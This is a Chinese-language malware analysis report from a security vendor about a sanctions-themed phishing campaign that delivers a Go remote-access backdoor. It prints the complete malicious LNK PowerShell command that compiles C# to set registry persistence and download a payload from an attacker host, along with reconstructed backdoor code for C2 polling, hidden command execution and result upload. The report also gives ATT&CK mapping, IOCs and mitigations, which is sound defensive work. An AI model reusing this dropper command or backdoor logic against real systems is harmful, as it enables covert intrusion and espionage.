概述
2026年5月瑞星威胁情报平台捕获到了一起以俄乌战争与欧盟制裁为诱饵的高度定向多阶段攻击事件。攻击者将初始载荷伪装成欧盟官方制裁政策文件,利用涉外人员对政策文件的信任心理作为切入点,在受害者机器上逐步推进并最终植入一个Go语言编写的持久化远控后门。
攻击链起始于一个名为Russias war against Ukraine EU sanctions Consilium.html的恶意HTML文档。该文档针对Windows平台的Chrome和Edge浏览器用户生效,其余用户(移动端、macOS、Firefox)被拦截并诱导更换浏览器。通过HTML的零延迟跳转机制触发Windows Search协议,它调用资源管理器访问攻击者架设的远程WebDAV共享路径(winserviceguard[.]center),获取一个伪装成欧盟制裁PDF的LNK快捷方式文件,并将显示域名伪造成欧盟理事会官网域名以增强可信度。
LNK文件被双击后,其嵌入的PowerShell命令在后台执行四项操作:首先打开远程WebDAV上真实的欧盟制裁PDF文档作为掩护,用户在屏幕上看到合法文件后以为一切正常,放松警惕;紧接着切换到系统临时目录,通过echo命令实时写入C#源代码并调用系统自带的编译器进行内存编译;编译生成的恶意程序立即执行,在注册表HKEY_CURRENT_USER\Environment\UserInitMprLogonScript位置写入登录脚本,实现用户每次登录时自动启动后门,同时通过HTTPS(TLS 1.2)从winserviceguard[.]center:8443下载最终的Go后门载荷,保存为%LOCALAPPDATA%\Microsoft\vdh.exe。
最终载荷vdh.exe是一个Go语言编译的64位远控后门。后门启动后采集当前用户名和机器唯一标识,经HMAC-SHA256或SHA256哈希后再经base64编码生成固定长度的主机指纹,随后向C2服务器(winlab[.]center:45567)发起HTTPS请求,以默认10秒为间隔周期性地拉取攻击者下发的系统命令。命令通过隐藏的cmd、powershell或pwsh以无窗口方式执行,标准输出和错误输出均被捕获,执行结果经JSON打包后回传C2服务器。后门支持超时控制、信号监听和参数化C2配置,攻击者可通过C2下发任意系统命令,实现信息收集、横向移动、持久化操作、载荷下载、日志清理等多种恶意行为。
该攻击链实现了从社交工程诱饵到持久化远控的完整闭环,过程完全静默、无需用户交互。结合诱饵主题(欧盟对俄制裁)和攻击的资源投入程度,推断攻击者的主要目的是针对涉及国际制裁政策的机构实施间谍活动,窃取内部的制裁应对策略、贸易合规信息及外交决策动态等敏感情报。
ATT&CK 矩阵
| 战术 | 技术 | 具体行为 |
|---|---|---|
TA0001-初始访问 |
T1566-网络钓鱼 |
HTML文件伪装成欧盟制裁政策文档诱导用户点击 |
TA0002-执行 |
T1204-用户执行 |
用户需要主动双击快捷方式文件触发恶意代码执行 |
TA0002-执行 |
T1059-命令和脚本解释器 |
LNK中嵌入PowerShell命令执行多段载荷 |
TA0003-持久化 |
T1547-启动或登陆自动执行 |
注册表UserInitMprLogonScript实现用户登录自启 |
TA0002-防御规避 |
T1027-混淆过的文件或信息 |
写入C#源码并编译执行 |
TA0005-防御规避 |
T1036-伪装 |
恶意快捷方式伪装成PDF文档 |
TA0005-防御规避 |
T1480-选择性攻击 |
HTML文件内的恶意代码不对移动设备、Mac OS系统用户以及Firefox浏览器用户触发 |
TA0007-环境发现 |
T1033-探测系统所有者/用户 |
main_GetUsername采集当前用户名 |
TA0007-环境发现 |
T1082-收集系统信息 |
main_getMachineIDWindows通过reg query/WMIC采集机器标识 |
TA0011-指挥与控制 |
T1071-应用层协议 |
使用HTTPS协议与C2通信 |
TA0010-外传信息 |
T1041-通过C2通道外传 |
指令接收与数据回传共用同一个C2 |
样本分析
攻击流程
本次攻击以俄乌战争与欧盟制裁为诱饵,通过HTML→Windows Search协议→WebDAV/LNK→PowerShell/C#即时编译 →Go后门植入的完整链路,在受害者机器上建立持久化远程控制通道。攻击者首先将恶意HTML伪装成欧盟制裁政策文件发送给目标人员,HTML自动检测浏览器环境后利用Windowssearch:协议零延迟跳转至攻击者架设的远程WebDAV共享路径,获取一个伪装为欧盟制裁PDF的LNK快捷方式文件。该LNK文件被双击后,在后台先后打开真实PDF文档作为社会工程掩护、切换到临时目录、实时写入并编译C#恶意代码、执行编译后程序完成注册表持久化(UserInitMprLogonScript)和最终Go后门(vdh.exe)的下载部署。最终后门采集受害者机器指纹后,以 10 秒为间隔向C2服务器(winlab.center:45567)轮询拉取命令,通过隐藏的cmd/powershell执行任意系统操作,并将结果回传C2,实现持续的远程控制。

Russias war against Ukraine EU sanctions Consilium.html分析
| 字段 | 内容 |
|---|---|
| 文件名 | Russias war against Ukraine EU sanctions Consilium.html |
| MD5 | 485A9F51BD195CE1BF06C96C1BC2E421 |
| 文件类型 | HTML |
| 文件大小 | 1.92 KB (1,976 字节) |
| 病毒名 | Trojan.WinSearchAbuse/HTML!1.FD46 |
该HTML文件是攻击链的初始入口点,属于高度定向的社交工程攻击载荷。攻击者利用俄乌战争 + 欧盟制裁这一全球高度关注的地缘政治热点话题,将文件命名为Russias war against Ukraine EU sanctions Consilium.html,伪装成欧盟官方发布的制裁政策文件,以此诱导涉外企业法务、贸易合规、外事部门及政策研究机构的相关人员打开该文档。
该恶意HTML会专门检测访问者的设备与浏览器环境,将移动设备、Mac OS系统用户以及Firefox浏览器用户全部拦截,对被阻止用户弹出虚假提示Access to the document repository is permitted exclusively through Microsoft Edge or Google Chrome(仅限Microsoft Edge或Google Chrome访问文档存储库),诱导其更换指定浏览器,而对未被拦截的浏览器用户,则自动跳转。
const userAgent = navigator.userAgent;
const isBlocked =
userAgent.includes("Mobile") ||
userAgent.includes("Mac OS") ||
userAgent.includes("Firefox");
该恶意脚本采用无交互、零延迟的攻击触发方式,通过<meta http-equiv="refresh">标签实现自动跳转,无需用户任何点击操作,且设置延迟为0,页面加载后立即执行,大幅提升攻击隐蔽性;其目标URL结构具备极强伪装性与攻击性,利用Windows的search协议调用资源管理器(explorer.exe),远程访问WebDAV共享路径\\winserviceguard[.]center@SSL\cloudstj\下伪装成Russias war against Ukraine EU sanctions Consilium.pdf的.LNK快捷方式文件。并且利用displayname=consilium.europa.eu伪装成欧盟理事会官方域名,进一步强化可信度、降低用户警惕心。

const meta = document.createElement("meta");
meta.httpEquiv = "refresh";
meta.content = "0; url=search:query=Russias%20war%20against%20Ukraine%20EU%20sanctions%20Consilium.pdf&crumb=location:\\\\winserviceguard.center@SSL\\cloudstj\\&displayname=consilium.europa.eu";
document.head.appendChild(meta);
Russias war against Ukraine EU sanctions Consilium.pdf.lnk分析
| 字段 | 内容 |
|---|---|
| 文件名 | Russias war against Ukraine EU sanctions Consilium.pdf.lnk |
| 文件MD5 | 570896787AC12561B0D62402C5421663 |
| 文件类型 | LNK |
| 文件大小 | 2.96 KB (3,034 字节) |
| 病毒名 | Trojan.PSRunner/LNK!1.BADE |
该LNK文件是攻击链的第二阶段载荷,通过第一阶段HTML的Windows Search协议跳转后在资源管理器中呈现给用户。攻击者将其伪装成Russias war against Ukraine EU sanctions Consilium.pdf(即命名为此,但实际扩展名为.LNK),诱导用户误认为这是欧盟官方PDF文档并双击打开。用户一旦点击,系统将执行指向的恶意命令,触发完整的攻击链。
该LNK文件的目标执行逻辑分为 四个子阶段,完整命令如下:
powershell.exe -ep Bypass -w h -c "cmd /c \"\\winserviceguard.center@SSL\cloudstj\St.pdf\"";pushd $env:TEMP;echo 'using System;using Microsoft.Win32;using System.Net;using System.IO;class Program{static void Main(){string y=@\"Environment\";string u=\"UserInitMprLogonScript\";string g=\"powershell -c \\\"& $env:LOCALAPPDATA\\Microsoft\\vdh.exe\\\"\";using (RegistryKey envKey=Registry.CurrentUser.OpenSubKey(y,true)??Registry.CurrentUser.CreateSubKey(y)){envKey.SetValue(u,g,RegistryValueKind.String);}ServicePointManager.SecurityProtocol=SecurityProtocolType.Tls12;string o=\"https://winserviceguard.center:8443/gqeqwww.exe\";string e=Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),\"Microsoft\");Directory.CreateDirectory(e);string m=\"vdh.exe\";string p=Path.Combine(e,m);using (WebClient client=new WebClient()){client.DownloadFile(o,p);}}}'>v.cs;$z=(gci \"C:\Windows\Microsoft.NET\Framework\" -r -Filter csc.exe | select -f 1 -exp FullName);& $z v.cs;& $env:TEMP\v.exe"
阶段一:打开合法PDF文档(社会工程掩护)
攻击者首先通过powershell.exe以绕过执行策略(-ep Bypass)和隐藏窗口(-w h)的方式启动PowerShell,随后嵌套调用cmd /c打开位于远程WebDAV共享路径下的St.pdf文档。这份文档以 “欧盟理事会” 标识及官方表述呈现,标题为《俄罗斯对乌克兰的战争:欧盟制裁》,内容说明 “欧盟已对参与俄罗斯全面入侵乌克兰的个人与实体,实施了大规模且史无前例的制裁”;经分析确认,该PDF是真实合法的欧盟对俄制裁官方政策文件。攻击者利用该合法文档作为社会工程掩护——用户双击.LNK后看到真实的欧盟制裁文件弹出,会误认为一切正常,放松警惕。而真正的恶意代码此时正在后台静默执行,用户对此毫无察觉。
powershell.exe -ep Bypass -w h -c "cmd /c \"\\winserviceguard.center@SSL\cloudstj\St.pdf\""

阶段二:切换到临时目录
远程载荷执行完毕后,PowerShell通过pushd $env:TEMP将当前工作目录切换到系统的临时文件夹。这一步的目的是为后续的恶意代码释放、编译和执行提供可写的工作目录,同时利用TEMP目录文件繁杂的特点隐藏恶意文件,增加检测难度。
pushd $env:TEMP
阶段三:内嵌C#源代码编译
攻击者通过echo命令输出一段完整的C#源代码,并通过重定向符>写入当前目录下的v.cs文件。随后使用Get-ChildItem(gci)递归搜索C:\Windows\Microsoft.NET\Framework目录下的csc.exe(C#编译器),选取第一个找到的编译器路径,调用它编译v.cs生成v.exe。
echo '...C# 源码...' > v.cs
$z = (gci "C:\Windows\Microsoft.NET\Framework" -r -Filter csc.exe | select -f 1 -exp FullName)
& $z v.cs
阶段四:执行编译后的载荷
编译完成后,攻击者直接调用& $env:TEMP\v.exe执行生成的恶意v.exe。该C#载荷实现了两项核心恶意功能:
& $env:TEMP\v.exe
功能一:注册表持久化
攻击者通过Microsoft.Win32命名空间操作Windows注册表,在HKEY_CURRENT_USER\Environment项下创建名为UserInitMprLogonScript的字符串值。该注册表项是Windows中一种经典的用户登录脚本持久化机制——用户每次登录系统时,系统会自动执行该注册表项中指定的命令。此处设置为启动PowerShell命令运行%LOCALAPPDATA%\Microsoft\vdh.exe,实现恶意程序的开机自启动。
string y = @"Environment";
string u = "UserInitMprLogonScript";
string g = "powershell -c \"& $env:LOCALAPPDATA\Microsoft\vdh.exe\"";
using (RegistryKey envKey = Registry.CurrentUser.OpenSubKey(y, true) ??
Registry.CurrentUser.CreateSubKey(y))
{
envKey.SetValue(u, g, RegistryValueKind.String);
}
功能二:从远程服务器下载最终载荷
攻击者通过System.Net.WebClient以HTTPS协议(强制使用TLS 1.2)从远程服务器下载最终恶意载荷gqeqwww.exe,并将其保存至%LOCALAPPDATA%\Microsoft\vdh.exe。此文件名vdh.exe伪装成正常的系统组件,与Microsoft文件夹名结合以降低用户和安全软件的怀疑。
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
string remoteUrl = "https://winserviceguard.center:8443/gqeqwww.exe";
string destDir = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData),
"Microsoft");
Directory.CreateDirectory(destDir);
string destPath = Path.Combine(destDir, "vdh.exe");
using (WebClient client = new WebClient())
{
client.DownloadFile(remoteUrl, destPath);
}
恶意载荷vdh.exe分析
| 字段 | 内容 |
|---|---|
| 文件名 | vdh.exe |
| 文件MD5 | D557B83F86F0D6E692EB4770A03A306E |
| 文件类型 | PE |
| 文件大小 | 6,172,672 bytes (5.89 MB) |
| 病毒名 | Backdoor.Agent!1.13F58 |
该程序是用Go语言编译的64位远控后门。后门的核心功能:定时从C2服务器拉取系统命令,在受害者机器上以隐藏窗口方式执行,并将执行结果回传C2服务器。以下按程序的实际执行流程展开分析。
功能 1:配置加载与 C2 绑定
-load和-save指定C2服务器的两个URL端点,-interval设置轮询间隔,-timeout设置命令执行超时。
| 参数 | 默认值 | 说明 |
|---|---|---|
-load |
hxxps://winlab.center:45567/capi/v1/load |
拉取命令的URL |
-save |
hxxps://winlab.center:45567/capi/v1/save |
回传结果的URL |
-interval |
10s |
轮询间隔 |
-timeout |
5s |
命令执行超时 |
// 解析命令行参数
loadURL := flag.String("load", "https://winlab.center:45567/capi/v1/load", "")
saveURL := flag.String("save", "https://winlab.center:45567/capi/v1/save", "")
interval := flag.Duration("interval", 10*time.Second, "")
timeout := flag.Duration("timeout", 5*time.Second, "")
flag.Parse()
if *loadURL == "" || *saveURL == "" {
os.Exit(2)
}
功能 2:主机指纹采集
后门在被控机器上采集唯一标识,供C2服务器区分不同的受害者。由三个函数协作完成:
① 获取用户名(main_GetUsername)
在获取当前登录系统账户的用户名称时,后门通过main_GetUsername首先尝试调用Go语言标准库中的os/user.Current接口来向操作系统申请当前会话的用户凭据。然而,一旦后门运行在受到强力权限隔离的低特权账户或特定的安全检测沙箱中,导致底层原生接口报错,后门会立刻启用自愈能力,自动降级去调用os.Getenv接口,无声无息地在环境变量USER和USERNAME中搜寻和提取用户名,确保主机身份特征的绝对采集成功。
// 反编译用户名获取控制流,展示高容错的环境变量退避救补
func lookupCurrentUsername() string {
u, err := user.Current()
if err == nil && u.Username != "" {
return u.Username
}
// 当标准 API 受阻,自适应启用环境变量备份检索方案
if userVal := os.Getenv("USER"); userVal != "" {
return userVal
}
if usernameVal := os.Getenv("USERNAME"); usernameVal != "" {
return usernameVal
}
return "unknown-user"
}
② 获取机器标识(main_getMachineIDWindows)
后门在后台通过调用main_getMachineIDWindows函数,通过孵化各种系统自带的命令行工具并抓取标准输出的方式,依次检索系统GUID、硬件UUID、计算机主机名,拼装成带有底层区分特征的前缀(machineguid:、csproduct-uuid:或host:),保证攻击者能精准定位感染节点的身份,防止控制端出现设备丢失。
依次尝试三种方式,直到获取到非空结果:
| 优先级 | 方式 | 命令/调用 |
|---|---|---|
| 1 | 注册表MachineGuid |
query HKLM\SOFTWARE\Microsoft\Cryptography get MachineGuid |
| 2 | WMIC主板UUID |
csproduct get uuid |
| 3 | 主机名 | os.Hostname()+"host:"前缀 |
//三层降级获取机器标识
func main_getMachineIDWindows() string {
// 一:执行系统 reg 命令行程序查询 MachineGuid
out, err := runCommand("reg", "query",`HKLM\SOFTWARE\Microsoft\Cryptography`, "/v", "MachineGuid")
if err == nil {
if guid := parseMachineGuid(out); guid != "" {
return "machineguid:" + guid
}
}
// 二:当注册表查询受阻,降级执行 wmic 查询物理主板序列号
out, err = runCommand("wmic", "csproduct", "get", "UUID")
if err == nil {
if uuid := parseUUID(out); uuid != "" {
return "csproduct-uuid:" + uuid
}
}
// 三:当外部命令行工具均失效,调用原生接口获取计算机名
hostname, err := os.Hostname()
if err == nil {
return "host:" + hostname
}
// 四:无结果
return "unknown-machine"
}
③ 生成唯一主机指纹(main_GenerateDeterministicID)
将username + machineID拼接后,根据是否有HMAC密钥选择HMAC-SHA256或SHA256哈希算法,最后base64编码输出定长字符串。
func main_GenerateDeterministicID(username, machineID string, hmacKey []byte) string {
data := username + machineID
var hash []byte
if len(hmacKey) > 0 {
mac := hmac.New(sha256.New, hmacKey)
mac.Write([]byte(data))
hash = mac.Sum(nil)
} else {
h := sha256.Sum256([]byte(data))
hash = h[:]
}
return base64.StdEncoding.EncodeToString(hash)
}
功能 3:HTTPS 通信
后门创建HTTP客户端,关键配置:InsecureSkipVerify = true(忽略TLS证书验证,允许C2使用自签名证书),Timeout = interval + 2s。随后输出启动日志。
// 不验证证书的 HTTPS 客户端
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
}
client := &http.Client{
Transport: tr,
Timeout: *interval + 2*time.Second,
}
log.Printf("started: GET %s -> print -> POST %s; interval=%s timeout=%s",
*loadURL, *saveURL, *interval, *timeout)
功能 4:命令轮询循环
后门通过time.NewTicker(interval)驱动轮询,用signal.NotifyContext监听系统信号。启动后立即执行一次main_main_func1,随后以interval为间隔循环执行。收到信号时输出"shutting down (signal received)"后退出。
ticker := time.NewTicker(*interval)
ctx, cancel := signal.NotifyContext(context.Background(), os.Interrupt)
defer cancel()
main_main_func1(ctx, client, hostID, *loadURL, *saveURL, *timeout) // 立即执行
for {
select {
case <-ticker.C:
main_main_func1(ctx, client, hostID, *loadURL, *saveURL, *timeout)
case <-ctx.Done():
return
}
}
功能 5:拉取命令(GET)
向C2(hxxps://winlab.center:45567/capi/v1/load) 发起GET请求,URL携带?id=。响应体最大读取1MB(io.LimitReader(resp.Body, 0x100000)),内容作为纯文本命令返回。非 200–299 状态码跳过本轮。
// main_fetchText: 从 C2 拉取命令
func main_fetchText(ctx context.Context, client *http.Client,
loadURL, hostID string) (string, error) {
u, _ := url.Parse(loadURL)
q := u.Query()
q.Set("id", hostID)
u.RawQuery = q.Encode()
req, _ := http.NewRequestWithContext(ctx, "GET", u.String(), nil)
resp, err := client.Do(req)
if err != nil { return "", err }
defer resp.Body.Close()
if resp.StatusCode < 200 || resp.StatusCode >= 300 {
return "", fmt.Errorf("unexpected status %s", resp.Status)
}
cmd, _ := io.ReadAll(io.LimitReader(resp.Body, 0x100000))
return string(cmd), nil
}
功能 6:执行命令(隐藏窗口)
main_ExecShellCommand按优先级查找可用shell:cmd→powershell→pwsh。若三者均不存在返回"no suitable shell found"。
执行细节:
- 隐藏窗口:
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - PowerShell 附加参数:
-NoProfile -NonInteractive(避免加载配置文件,减少执行痕迹) - 超时控制:若
timeout > 0则用context.WithTimeout,否则用WithCancel - 输出捕获:
stdout和stderr分别用bytes.Buffer捕获,优先返回 stdout
// main_ExecShellCommand: 隐藏 shell 执行任意命令
func main_ExecShellCommand(ctx context.Context, command string, timeout time.Duration) string {
var ctx2 context.Context
var cancel context.CancelFunc
if timeout <= 0 {
ctx2, cancel = context.WithCancel(ctx)
} else {
ctx2, cancel = context.WithTimeout(ctx, timeout)
}
defer cancel()
shell := ""
var args []string
if _, err := exec.LookPath("cmd"); err == nil {
shell, args = "cmd", []string{"/c", command}
} else if _, err := exec.LookPath("powershell"); err == nil {
shell, args = "powershell", []string{"-NoProfile", "-NonInteractive", "-Command", command}
} else if _, err := exec.LookPath("pwsh"); err == nil {
shell, args = "pwsh", []string{"-NoProfile", "-NonInteractive", "-Command", command}
} else {
return "no suitable shell found"
}
cmd := exec.CommandContext(ctx2, shell, args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
var stdout, stderr bytes.Buffer
cmd.Stdout, cmd.Stderr = &stdout, &stderr
if err := cmd.Start(); err != nil {
return fmt.Sprintf("%v\n%s", err, stdout.String())
}
if err := cmd.Wait(); err != nil {
if ctx2.Err() == context.DeadlineExceeded {
return fmt.Sprintf("timeout after %s\n%s", timeout, stdout.String())
}
return fmt.Sprintf("%v\n%s\n%s", err, stdout.String(), stderr.String())
}
return stdout.String()
}
功能 7:回传结果(POST)
main_sendJSONPair将原始命令和执行结果打包成JSON,通过POST发往C2(hxxps://winlab.center:45567/capi/v1/save),同样携带?id=。
// main_sendJSONPair: 将命令和结果回传 C2
func main_sendJSONPair(ctx context.Context, client *http.Client,
saveURL, hostID string, request, response string) error {
payload := struct {
Request string`json:"request"`
Response string`json:"response"`
}{request, response}
jsonBytes, _ := json.Marshal(payload)
u, _ := url.Parse(saveURL)
q := u.Query()
q.Set("id", hostID)
u.RawQuery = q.Encode()
req, _ := http.NewRequestWithContext(ctx, "POST", u.String(), bytes.NewReader(jsonBytes))
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil { return fmt.Errorf("do request: %w", err) }
defer resp.Body.Close()
if resp.StatusCode >= 200 && resp.StatusCode < 300 { return nil }
return fmt.Errorf("unexpected status %s", resp.Status)
}
功能 8:main_main_func1——串联全部步骤
main_main_func1将功能 5–7 串联为完整的单次操作:拉取命令 → 日志输出fetched:→ 若命令长度 > 1 则执行 → 日志输出result:→ 回传结果。
// main_main_func1: 单次拉取→执行→回传完整周期
func main_main_func1(ctx context.Context, client *http.Client,
hostID, loadURL, saveURL string, timeout time.Duration) {
cmdText, err := main_fetchText(ctx, client, loadURL, hostID)
if err != nil {
log.Printf("fetch error: %v", err)
return
}
log.Printf("fetched: %s", cmdText)
if len(cmdText) > 1 {
result := main_ExecShellCommand(ctx, cmdText, timeout)
log.Printf("result: %s", result)
if err := main_sendJSONPair(ctx, client, saveURL, hostID, cmdText, result); err != nil {
log.Printf("post sendJSONPair error: %v", err)
}
}
}
后门能力总结
| 能力 | 实现方式 |
|---|---|
| 远程命令执行 | 定时从C2拉取任意shell命令,以隐藏窗口方式执行 |
| 信息回传 | 命令输出以JSON格式POST回C2服务器 |
| 主机标识 | 采集用户名 + 机器标识 →HMAC-SHA256/SHA256哈希 →base64编码,附加于所有通信 |
| 持久化(由攻击链前置步骤完成) | 注册表HKCU\Environment\UserInitMprLogonScript指向powershell -c "& %LOCALAPPDATA%\Microsoft\vdh.exe" |
| 隐蔽性 | 隐藏窗口执行、跳过TLS证书验证、PowerShell无配置文件模式、Go编译(无恶意API静态导入) |
| 灵活性 | C2地址、轮询间隔、超时时间均可通过命令行参数配置 |
攻击过程可视化(EDR)
瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。图中展示了本次攻击活动中涉及到的进程以及网络访问等情况。


总结
本次攻击以地缘政治热点事件为社交工程诱饵,经由多阶段递进式载荷投放,在目标主机中植入持久化远控后门,实现了攻击者对目标系统的长期隐蔽操控。该后门具备命令执行、信息窃取、横向移动及二次载荷投递等多种恶意能力,且在不同阶段综合运用了多种反检测技术,具备较强的免杀效果与运行隐蔽性。后门通过注册表实现持久化驻留,常规文件删除手段难以彻底清除,需同步清理注册表项和终止进程方可根除。攻击者可随时通过远程命令扩展攻击范围,被控系统的信息机密性、完整性和可用性均面临严重威胁。
此类攻击提醒我们,传统的单点防御手段已难以有效应对多阶段复合攻击。建议构建覆盖终端、网络和人员意识的三层防御体系:终端层面应部署具备行为分析能力的安全产品,重点监测异常进程创建、隐蔽窗口启动、目录临时编译行为及非浏览器进程发起的加密通信;网络层面应对可疑域名的通信实施访问控制,结合威胁情报建立动态阻断策略;管理层面应持续强化员工安全教育,提升对社交工程攻击的识别与防范意识,形成人防与技防相结合的纵深防御格局。
预防措施
-
不打开可疑文件。
不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。
-
部署网络安全态势感知、预警系统等网关安全产品。
网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。
-
安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。
杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。
瑞星ESM目前已经可以检出此次攻击事件的相关样本

- 及时修补系统补丁和重要软件的补丁。
沦陷信标(IOC)
-
MD5
D557B83F86F0D6E692EB4770A03A306E 570896787AC12561B0D62402C5421663 485A9F51BD195CE1BF06C96C1BC2E421 -
Domain
winlab.center winserviceguard.center -
URL
hxxps://winlab.center:45567/capi/v1/load hxxps://winlab.center:45567/capi/v1/save hxxps://winserviceguard.center:8443/gqeqwww.exe -
瑞星病毒名
Backdoor.Agent!1.13F58